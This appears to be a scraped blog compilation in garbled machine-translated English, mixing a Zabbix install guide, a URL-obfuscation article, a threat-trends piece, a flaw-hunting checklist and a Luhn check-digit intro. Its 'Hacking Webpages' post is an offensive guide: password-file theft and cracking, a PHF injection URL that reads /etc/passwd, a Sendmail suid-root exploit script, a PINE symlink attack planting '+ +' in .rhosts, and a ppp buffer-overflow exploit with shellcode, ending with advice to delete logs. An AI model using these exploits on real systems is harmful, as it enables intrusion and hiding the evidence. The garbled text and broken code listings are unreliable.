free software used for monitoring network

Zabbix is one of the free-software used for monitoring network also all infra-structure in it. Suppose network traffic, the BW, network conditions, and so forth. We use the excess zabbix is:

• Real-time monitoring
• Providing such as visualization and graphics map
• Provide information to the problem quickly, eg by e-mail or sms.
• Selection type and condition reports misalkan per sunday, with only display data without the graphics, etc.
• Flexibel
• Can monitoring in a large group or only 1 host
• Security authentifikasi with the IP address
• Easy in the administration
• All information about zabbix can be obtained online
• Can be used for multi-OS
• etc.


Before the installation we do the first installation of the package that will be used to run zabbix, following a tough-software package that must be installed before or on the installation and running zabbix:

• apache2
• libapache2-mod-PHP5
• PHP5
• PHP5-gd
• PHP5-mysql
• PHP5-cli
• PHP5-SNMP
• mysql-server

STEP - STEP
1. Installation
• Make sure that the packages softawe with zabbix the dependency on the already installed
• In debian etch packages zabbix needed already so we do not need to download (zabbix-v1.1.4-1)
• Packages that are required are: zabbix-agent, zabbix-frontend-php, zabbix-mysql (using the mysql database).
# Apt-get install zabbix-agent zabbix-fronted-php-mysql zabbix

• Make connections with the database
# Mysql-u-p
password:
mysql> create database zabbix;
mysql> quit;


• Copy this configuration to mysql
# Cd /usr/share/zabbix-server
# Cat schema.sql | mysql-u-p zabbix
# Cat data.sql | mysql-u-p zabbix
• Configuration / etc / services
zabbix_agent 10050/tcp
zabbix_trap 10051/tcp

• Configuration / etc / inetd.conf
zabbix_agent stream tcp nowait.3600 zabbix \ / opt / zabbix / bin / zabbix_agent

• Then run zabbix-server:
# /etc/init.d/zabbix-server start

• Check in / var / log / zabbix-server:
/var/log/zabbix-server/zabbix-server.log

2. Configuration with php
• Change the configuration of / etc / zabbix / dbconfig.php:
?>?>?>?>?>?>?>?>?>?>

• Copy  /etc/zabbix to /var/www:
# cp-R /etc/zabbix /var/www

• Then check in http://localhost/zabbix, make sure that the mysql-server, apache2 and zabbix-server already start

3. Configuring the zabbix web interface
This simple example beperapa from zabbix configuration that will be observed in the web interface (for more sophisticated or not it depends on the parameters we want to show what we want to observe the more complete the more dynamic and clear)

First to do if you want to create their own configuration, we have to login and change the permision read & write, and then go to the link configuration

• Create a new group
Configuration -> hosts -> (Choose) Host Groups -> Create Group
Then enter the name of the group will be monitored eg: router

• Then create a template
Configuration -> hosts -> (Choose) Templates -> Create Template
Then enter the name of the template eg: kondisi.router add to the group router

• Make the item you want observed
Configuration -> Items -> (Choose) Router (Template) -> New Item
Then give the name of the items observed such as CPU_usage

source : zulfanruri.com

Read more...

Hacking Webpages - internet hacking

Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.


The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).


Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.
It's best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I'm going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

cat <<>/tmp/x.c
#define RUN "/bin/ksh"
#include
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat <<>/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat <<>/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi


and now on to another exploit. I'm going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting
the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I'm going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on
FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

#include
#include
#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */
int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.

~~PSYCHOTIC~~

Read more...

hacking website - url hack

Recently, many smiled and Microsoft got angry at a spoof of its Knowledge Base articles posted on a URL starting with "http://www.microsoft.com." Emails went around and people clicked on the link, possibly before looking closer at it. Surprised by the content, they may have checked the URL again, noticing the other "www"-like string in it and figured out it must have something to do with the real host; forwarded the email to friends and then returned to their work.

Today we will look closer at URLs and the associated security implications. "Interesting" ways of using them have been known by spammers for a while, but now the KB spoof and the February issue of Crypto-Gram have made the Internet community more aware of what URLs can do.

Although most Internet users will associate URLs with WWW addresses, or perhaps FTP, Uniform Resource Locators are more general in scope. URLs are standardized in RFC1738, and in their most generic form, they are defined as

:
The best-known scheme is the Common Internet, in which the is the name of a protocol and the is defined as:

//:@:/
in which only the host part is mandatory. The ":" and "@" characters have a special meaning and thus the server can parse the entire string. If a user and a password are provided, the host part only comes after the @ character. In the KB spoof mentioned earlier, the link was

http://www.microsoft.com&item=q209354@www.hwnd.net/pub/mskb/Q209354.asp
Understandably, it is no longer available. (In case you find a copy elsewhere, be aware that the page uses strong language and might trigger some content scanners as well.) As you have guessed, the real host of the page was www.hwnd.net. The string "www.microsoft.com" in this case is just a bogus username that is ignored by the web server.

Although perfectly valid syntactically, the above usage can be considered as having security relevance. While no technological resource is affected, the attack is targeted at the other (and often ignored) half of the picture: ourselves. At the end of most Internet nodes, beyond network cards, modems and computers, there are human users who, consciously or not, make security decisions every time they decide to trust what they see on the screen.

Trust is a fundamental security value. Crafting the URL as above exploits the trust we have in our understanding of what a URL is like and in whoever provided us the link. It also exploits the fact that our attention is focused on the content frame and not on the location although they are equally important in a decision of trust. In SSL-protected sites, the latter is in part taken care of by the browser, which compares the domain with the information in the SSL certificate; otherwise mere encryption would not provide much value if the destination is bogus.

Concealment
The URL analyzed above is just superficially hiding its real destination. Let us look further into better ways of doing this. For some reasons (probably caused by the internal handling), some operating systems operate with IP addresses not only in the form we are used to, aaa.bbb.ccc.ddd, but also as the decimal equivalent.

The above generic address can also be written as the decimal value of aaa*256^3+bbb*256^2+cccc*256+ddd. Thus, 3633633987 is 216.148.218.195 (belonging to www.redhat.com). You can copy and paste 3633633987 into your browser, and you will find yourself browsing Red Hat's main site. The above works with Internet Explorer 5.x and also with Lynx on Linux, but I have not tested all operating systems, so your mileage may vary. Some applications may complain of invalid URLs if they parse the domain name for periods, but if you experiment with a few applications, including standard utilities like ping, you should be able to figure out whether the OS itself supports this usage.

Thus more obfuscation could be obtained by creating a URL such as http://www.toronto.com:ontario@3633633987 which still goes to Red Hat. Surfers are used to seeing strings of digits in a URL because many sites store the HTTP SessionID in the URL instead of in a cookie, so the above would not appear particularly suspicious. The password can be absent, so we end up having http://www.toronto.com@3633633987, "easy to read, easy to misunderstand" at a first glance.

Now, for the final touch, we can use a bit of HTML knowledge: the anchor tag allows the display text for a link to be different than the target itself, so the above link can appear as http://www.toronto.com. In IE 5.5, hovering with the mouse over it displays the number only in the status bar, not very indicative of a wrong target, so only clicking on it would show us the real target.

Yet another way of exploiting trust is by using the indirection provided by genuine websites. A number of well-known sites track if their visitors follow external links by first creating the links of the form http://www.thisisarespectablesite.com/outsidelinks/http://externalsite, trapping the request at the server side and then redirecting the user to the real destination.

The problem with this approach is that anyone can use their indirection, combined with URL obfuscation, in order to provide more legitimacy to false URLs. What this can lead to depends both on the attacker and on the victim. The HTTP REFERER field, limited as it is, can be of some value to reduce abuses, but not all sites seem to use it.

And if the above was not enough, the characters in the real destination can be obfuscated themselves through URL and Unicode encoding. so only the hex codes will be visible. URL encoding is required for many special characters, but can be applied to regular alphanumeric characters as well.

None of the above is new to knowledgeable spammers, but will likely be quite successful as an attack targeted to the average unsuspecting user.

One-click Attacks
Let's explore the security implications of the URL even further. One of the "standard" attacks would be to cause a buffer overflow. As far as the browsers go, however, by now this would be a very beaten path; many a hacker has tried to crash IE or Netscape. What about other protocols? Indeed, what other protocols are recognized on a machine?

To find out the answer for a Windows box, I turned to looking into the registry. The following keys contain such information: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler and those keys under HKEY_CLASSES_ROOT\Shell that have a subkey named "URL Protocol." (You will have to do some searching for those in the latter category, but it does not take long.)

The search results proved interesting: apart from the expected ftp://, http://, https://, mailto://, news://, pnm:// and several others, I found some schemes I had never heard of before, such as msee://. A quick experiment showed that it is the scheme used by Microsoft Encarta, perhaps to refer to articles inside the encyclopedia. Whether Encarta is safe from buffer overflows and, if not, whether they can be practically exploited, well, this is something that would need investigation.

The story repeated with other URL schemes that were installed by various applications (such as copernic:// owned by the Copernic search tool). There have been other interesting discoveries, but have a look for yourself.

Apart from the possibility of remote exploitation of applications that are not otherwise remotely accessible, even more discomfort is caused by the absence of any administrative interface allowing inspection of the associations between a URL scheme and the application using it (apart from a very scope-limited dialog in Internet Explorer under Tools/Options/Programs which only displays a handful of standard protocols).

It turns out that registering a new URL scheme in Windows is trivial and the change takes place immediately. It is done by adding the necessary registry entries as described in this MSDN documentation. Unfortunately, this also means this can be done by scripted viruses such as KakWorm (which are executed by simply viewing an email on a vulnerable system).

Associating a benign protocol with a dangerous command is, well, dangerous. Granted, this is not a URL-specific attack. It can be done using file associating as well, but the risk is still there, and the existence of other attack paths does not mean this one will not be exploited. And, of course, nothing forces an attacker to use only the techniques described here.

Until there are more mechanisms to inform and protect us from such attacks, the best defense is to be cautious, and do not follow directions in emails you cannot trust. Sometimes, you just feel something isn't right.

Read more...

Cyber attack trends in 2009

Trends main threats to cyber security in 2009 began to predict. According to Kaspersky Labs security bureau, the cyber criminals will increasingly reinforce zealous attack on the smartphone device in the future. 

The company predicts that the popularity of Apple iPhone, also with the launch of Google's Android operating system is more uphill existence, so factors triggered the criminal slam smartphone. 

Kaspersky explained, the evolution of the mobile phone is almost the same as happened in the PC. Only about 1 in the decade, the original mobile phone ribet and expensive, so the device has been provided advanced features high-speed internet access. 

That is, smartphone become soft targets for the next cracker, the same as that befall a PC. 

Magnus Kalkuhl, members of Kaspersky Lab Global Research & Analysis Team 
estimate, the attack on the smartphone will be a regular. Scale attacks in 2009 is still limited, but within a period of 5 years, the program will be evil 'everyday food' smartphone users. 

In addition to the smartphone, Kasperksy also predict a rapid increase in cyber attacks to social networking sites. This triggered many users who do not believe so cautious and only with the security networking site. While the site itself is often slow in mersepon a security threat occurs. 

Kalkuhl the old method to predict the spread of malicious code via e-mail is rarely used in the year 2009. Dilansir WebUser and cited detikINET, Tuesday (30/12/2008), especially the threat of cyber will spread via a link where if the link is clicked, the program will be bad pitch directly downloaded on the computer.

Read more...

finding security holes

Security holes manifest themselves in (broadly) four ways:

1) Physical Security Holes.

- Where the potential problem is caused by giving unauthorised persons
physical access to the machine, where this might allow them to perform
things that they shouldn't be able to do.

A good example of this would be a public workstation room where it would
be trivial for a user to reboot a machine into single-user mode and muck
around with the workstation filestore, if precautions are not taken.

Another example of this is the need to restrict access to confidential
backup tapes, which may (otherwise) be read by any user with access to
the tapes and a tape drive, whether they are meant to have permission or
not.

2) Software Security Holes

- Where the problem is caused by badly written items of "privledged"
software (daemons, cronjobs) which can be compromised into doing things
which they shouldn't oughta.

The most famous example of this is the "sendmail debug" hole (see
bibliography) which would enable a cracker to bootstrap a "root" shell.
This could be used to delete your filestore, create a new account, copy
your password file, anything.

(Contrary to popular opinion, crack attacks via sendmail were not just
restricted to the infamous "Internet Worm" - any cracker could do this
by using "telnet" to port 25 on the target machine. The story behind a
similar hole (this time in the EMACS "move-mail" software) is described
in [Stoll].)

New holes like this appear all the time, and your best hopes are to:

  a: try to structure your system so that as little software as possible
  runs with root/daemon/bin privileges, and that which does is known to
  be robust.

  b: subscribe to a mailing list which can get details of problems
  and/or fixes out to you as quickly as possible, and then ACT when you
  receive information.

>From: Wes Morgan
>
> c: When installing/upgrading a given system, try to install/enable only
> those software packages for which you have an immediate or foreseeable
> need. Many packages include daemons or utilities which can reveal
> information to outsiders. For instance, AT&T System V Unix' accounting
> package includes acctcom(1), which will (by default) allow any user to
> review the daily accounting data for any other user. Many TCP/IP packa-
> ges automatically install/run programs such as rwhod, fingerd, and
> tftpd, all of which can present security problems.
>
> Careful system administration is the solution. Most of these programs
> are initialized/started at boot time; you may wish to modify your boot
> scripts (usually in the /etc, /etc/rc, /etc/rcX.d directories) to pre-
> vent their execution. You may wish to remove some utilities completely.
> For some utilities, a simple chmod(1) can prevent access from unauthorized
> users.
>
> In summary, DON'T TRUST INSTALLATION SCRIPTS/PROGRAMS! Such facilities
> tend to install/run everything in the package without asking you. Most
> installation documentation includes lists of "the programs included in
> this package"; be sure to review it.

3) Incompatible Usage Security Holes

- Where, through lack of experience, or no fault of his/her own, the
System Manager assembles a combination of hardware and software which
when used as a system is seriously flawed from a security point of view.
It is the incompatibility of trying to do two unconnected but useful
things which creates the security hole.

Problems like this are a pain to find once a system is set up and
running, so it is better to build your system with them in mind. It's
never too late to have a rethink, though.

Some examples are detailed below; let's not go into them here, it would
only spoil the surprise.

4) Choosing a suitable security philosophy and maintaining it.

>From: Gene Spafford
>The fourth kind of security problem is one of perception and
>understanding. Perfect software, protected hardware, and compatible
>components don't work unless you have selected an appropriate security
>policy and turned on the parts of your system that enforce it. Having
>the best password mechanism in the world is worthless if your users
>think that their login name backwards is a good password! Security is
>relative to a policy (or set of policies) and the operation of a system
>in conformance with that policy.

---

From: Hacking
Subject: Hacking Ideas
Date: 11/10/93

( Please contribute by sending E-Mail to ... )

[ Many ideas taken from: HaxNet - APG V1.3 : Guide to finding new holes]

NOTE: I think this should be divided into general categories:
1) General principles
2) Looking for holes in src (most items here)
3) Looking in binary distributions
4) Looking in site specific configurations

  The following general classifications suggest themselves:
1) SUID/SGID
2) Return codes/error conditions
3) unexpected input
4) race conditions
5) authentication
6) implicit trust
7) parameters
8) permissions
9) interrupts
10) I/O
11) symbolic links
12) Daemons, particularly those taking user input.
13) Kernel race conditions
14) what else? - please add categories

(Suggested splitting of above into main and sub-catagories)
I: Suid binaries and scripts
  unexpected user interactions
  flawed liberary calls
  implicit assumptions of external conditions (sym links, loc. paths)
  race conditions
II: daemons running with priviliged uid's
  race conditions
  poor file protectons
  implicit file protections
  trust
  authentication
III: Kernel problems
  Kernel race conditions
  device driver code

The following four step method was created by System Development
Corporation, who report a 65% success rate on the flaw hypotheses
generated. Doing a comprehensive search for operating system flaws
requires four steps:

Step 1) Knowledge of system control structure.
===============================================
  To find security holes, and identifying design weaknesses it is
necessary to understand the system control structure, and layers.
  One should be able to list the:
A) security objects: items to be protected. ie: a users file.
B) control objects: items that protect security objects. ie: a i-node
C) mutual objects : objects in both classes. ie: the password file
  With such a list, it is possible to graphically represent a control
hierarchy and identify potential points of attack. Making flow charts
to give a visual breakdown of relationships definitely helps.
  Reading the various users, operators, and administrators manuals should
provide this information.
(following para's should probably be moved to a "legal" section)
  Reading and greping source code should also prove valuable. For those
without a source licence, I would suggest we use LINUX, NET2, and BSD386
distributions in order to stay legal. At some future time we may be able
to form a working contract between someone or a company with legal access
to other distributions and members actively participating in this project.
  It appears that extracts of proprietary code may be used for academic
study, so long as they are not reused in a commercial product - more
checking is necessary though.

Step 2) Generate an inventory of suspected flaws. (i.e. flaw hypotheses)
========================================================================
In particular we want:
  Code history:
  What UNIX src does a particular flavor derive from? This is important
for cross references (very often only one vendor patches certain code,
which may get reused, in it's unpatched reincarnation by others)
  A solid cross reference:
  Who checked which bug in what OS and what version prevents us from
duplicating work.

  A good start would be listing all the suid binaries on the various OS
flavors/versions. Then try to work out why each program is suid. i.e.:
  rcp is suid root because it must use a privilaged port to do user
  name authentication.
  Often code that was never designed to be suid, is made suid, durring
porting to solve file access problems.
  We need to develope a data base that will be able to look at pairs and
triplets of data, specificly: program name, suid, sgid, object accessed
(why prog is suid/sgid), OS flavor/version, and flav/vers geniology.
  Any sugestions on how to implement such a DB?

Step 3) Confirm hypotheses. (test and exploit flaws)
====================================================

Step 4) Make generalizations of the underlying system weaknesses, for
  which the flaw represents a specific instance.
=====================================================================

Tool Box:
=========
AGREP: I suggest everyone obtain, and install agrep from:
  ftp cs.arizona.edu /agrep/agrep.tar.Z
  Agrep supports "windowing" so it can look for routines, and subroutines.
It also supports logical operators and is thus ideally suited to automating
the search for many of the following flaws. i.e.
  agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl
or agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp()
  OR execvp()]} /usr/local/src/*.c

PERMUTATION PROGRAM: Another tool worth producing is a program to generate
all possible permutations of command line flags/arguments in order to uncover
undocumented features, and try to produce errors.

TCOV:

CRASH: Posted to USENET (what FTP archive?) (descrip?)

PAPERS: There are several papers that discuss methods of finding flaws, and
  present test suites.
  1) An Emphirical Study of the reliability of UNIX Utilities, by Barton P.
  Miller, Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,
  Dec '90. Describes a test suite for testing random input strings.
  Results indicated that 25% of the programs hung, crashed, or misbehaved.
  In one case the OS crashed. An understanding of buffer and register
  layout on the environment in question, and the expected input is likely
  to produce the desired results.
  2) The Mothra tools set, in Proceedings of the 22nd Hawaii International
  Conference on Systems and Software, pages 275-284, Kona, HI, January '89
  3) Extending Mutation Testing to Find Environmental Bugs, by Eugene H.
  Spafford, Software Practice and Experience, 20(2):181-189, Feb '90
  4) A paper by IBM was mentioned that was submitted to USENIX a few years
  ago. (Anyone have a citation?).

Specific Flaws to Check For:
============================
1) Look for routines that don't do boundary checking, or verify input.
  ie: the gets() family of routines, where it is possible to overwrite
  buffer boundaries. ( sprintf()?, gets(), etc. )
  also: strcpy() which is why most src has:
  #define SCYPYN((a)(b)) strcpy(a, b, sizeof(a))

2) SUID/SGID routines written in one of the shells, instead of C or
  PERL.

3) SUID/SGID routines written in PERL that don't use the "taintperl"
  program.)

4) SUID/SGID routines that use the system(), popen(), execlp(), or
  execvp() calls to run something else.

5) Any program that uses relative path names inside the program.

6) The use of relative path names to specify dynamically linked libraries.
  (look in Makefile).

7) Routines that don't check error return codes from system calls. (ie:
  fork(2), suid(2), etc), setuid() rather, as in the famous rcp bug

8) Holes can often be found in code that:
  A) is ported to a new environment.
  B) receives unexpected input.
  C) interacts with other local software.
  D) accesses system files like passwd, L.sys, etc.
  E) reads input from a publicly writable file/directory.
  F) diagnostic programs which are typically not user-proofed.

9) Test code for unexpected input. Coverage, data flow, and mutation
  testing tools are available.

10) Look in man pages, and users guides for warnings against doing X, and
  try variations of X. Ditto for "bugs" section.

11) Look for seldom used, or unusual functions or commands - read backwards.
  In particular looking for undocumented flags/arguments may prove useful.
  Check flags that were in prior releases, or in other OS versions. Check
  for options that other programs might use. For instance telnet uses -h
  option to login ...
  right, as most login.c's I've seen have:
  if((getuid()) && hflag){
  syslog()
  exit()
  }

12) Look for race conditions.

13) Failure of software to authenticate that it is really communicating
  with the desired software or hardware module it wants to be accessing.

14) Lack or error detection to reset protection mechanisms following an
  error.

15) Poor implementation resulting in, for example, condition codes being
  improperly tested.

16) Implicit trust: Routine B assumes routine A's parameters are correct
  because routine A is a system process.

17) System stores it's data or references user parameters in the users
  address space.

18) Inter process communication: return conditions (passwd OK, illegal
  parameter, segment error, etc) can provide a significant wedge, esp.
  when combined with (17).

19) User parameters may not be adequately checked.

20) Addresses that overlap or refer to system areas.

21) Condition code checks may be omitted.

22) Failure to anticipate unusual or extraordinary parameters.

23) Look for system levels where the modules involved were written by
  different programmers, or groups of programmers - holes are likely
  to be found.

24) Registers that point to the location of a parameters value instead
  of passing the value itself.

25) Any program running with system privileges. (too many progs are given
  uid 0, to facilitate access to certain tables, etc.)

26) Group or world readable temporary files, buffers, etc.

27) Lack of threshold values, and lack of logging/notification once these
  have been triggered.

28) Changing parameters of critical system areas prior to their execution
  by a concurrent process. (race conditions)

29) Inadequate boundary checking at compile time, for example, a user
  may be able to execute machine code disguised as data in a data area.
  (if text and data areas are shared)

30) Improperly handling user generated asynchronous interrupts. Users
  interrupting a process, performing an operation, and either returning
  to continue the process or begin another will frequently leave the
  system in an unprotected state. Partially written files are left open,
  improper writing of protection infraction messages, improper setting
  of protection bits, etc often occur.

31) Code that uses fopen(3) without setting the umask. ( eg: at(1), etc. )
  In general, code that does not reset the real and effective uid before
  forking.

32) Trace is your friend (or truss in SVR4) for helping figure out what
  system calls a program is using.

33) Scan /usr/local fs's closely. Many admins will install software from
  the net. Often you'll find tcpdump, top, nfswatch, ... suid'd root for
  their ease of use.

34) Check suid programs to see if they are the ones originally put on the
  system. Admins will sometimes put in a passwd replacement which is less
  secure than the distributed version.

35) Look for programs that were there to install software or loadable
  kernel modules.

36) Dynamically linked programs in general. Remember LD_PRELOAD, I think
  that was the variable.

37) I/O channel programming is a prime target. Look for logical errors,
  inconsistencies, and omissions.

38) See if it's possible for a I/O channel program to modify itself, loop
  back, and then execute the newly modified code. (instruction pre-load
  may screw this up)

39) If I/O channels act as independent processors they may have unlimited
  access to memory, thus system code may be modified in memory prior to
  execution.

40) Look for bugs requiring flaws in multiple pieces of software, i.e. say
  program a can be used to change config file /etc/a now program b assumes
  the information in a to be correct and this leads to unexpected results
  (just look at how many programs trust /etc/utmp)

41) Any program, especially those suid/sgid, that allow shell escapes.

Read more...

In the algorithm Credit Card

In the real world, of course you already know, or at least heard how credit card has been widely accepted in the community. Various shops, and service providers have been receiving payments by using the card credit. Currently in the virtual world (the Internet), payment by credit card also has started widely accepted. Various crimes have been frequently conducted with use this credit card, both in the real world and in the virtual world. However, in this article I will not discuss about the security of credit card, I just discuss a small thing called checks digits on a credit card. This is indeed quite small, but it should be by all people. In the process of payment on the Internet using a credit card, there is a The very process of authentication is required, this is a process for prove that the credit card number is entered correctly, and that is the person who has the right to use the card. This seems easy, a program can be directly connected to the server bank and can be examined directly, but this is certainly enough time, What if the card number was entered wrong type, all connections to the bank server, all search data, and others will be futile. For (slightly) to solve the above problem, credit card numbers have been designed 

in such a way so that the possibility of the initial checks before a number were checked through the bank. These checks are checks combination of digits that are commonly known as algorithms check digit. Check digit algorithms used in the credit card is the check digit Luhn algorithm (Luhn check digit algorithm). 

Check Digit Luhn algorithm 
Check digit algorithm is an algorithm used to check the validity of a digit number based on the Creative-digits. Either application is very common that we find in daily life is a process  importation of goods data that we purchase in the supermarket to buy a small (the still use manual input, do not use the bar code reader). Maybe sometimes you see the cashier sometimes incorrectly entered data so that little error message appears, and then he re-type the code again 
the goods listed in the goods. Have you thought how a computer can know that the numbers are incorrect. The answer is by using a check digits, usually the last digit of the code of goods is the result of mathematical operations to the digit-digits before, so if there is direct input error 
detected, for example, the code is 98876768532 goods, but that is inserted 98876768533 
the computer will consider this data is incorrect. You check digits This does not exist, and each code sequence made goods, computers will be considered correct all data is entered, you may buy a listed Silver Queen chocolate when you buy a brand of chocolate is another. 
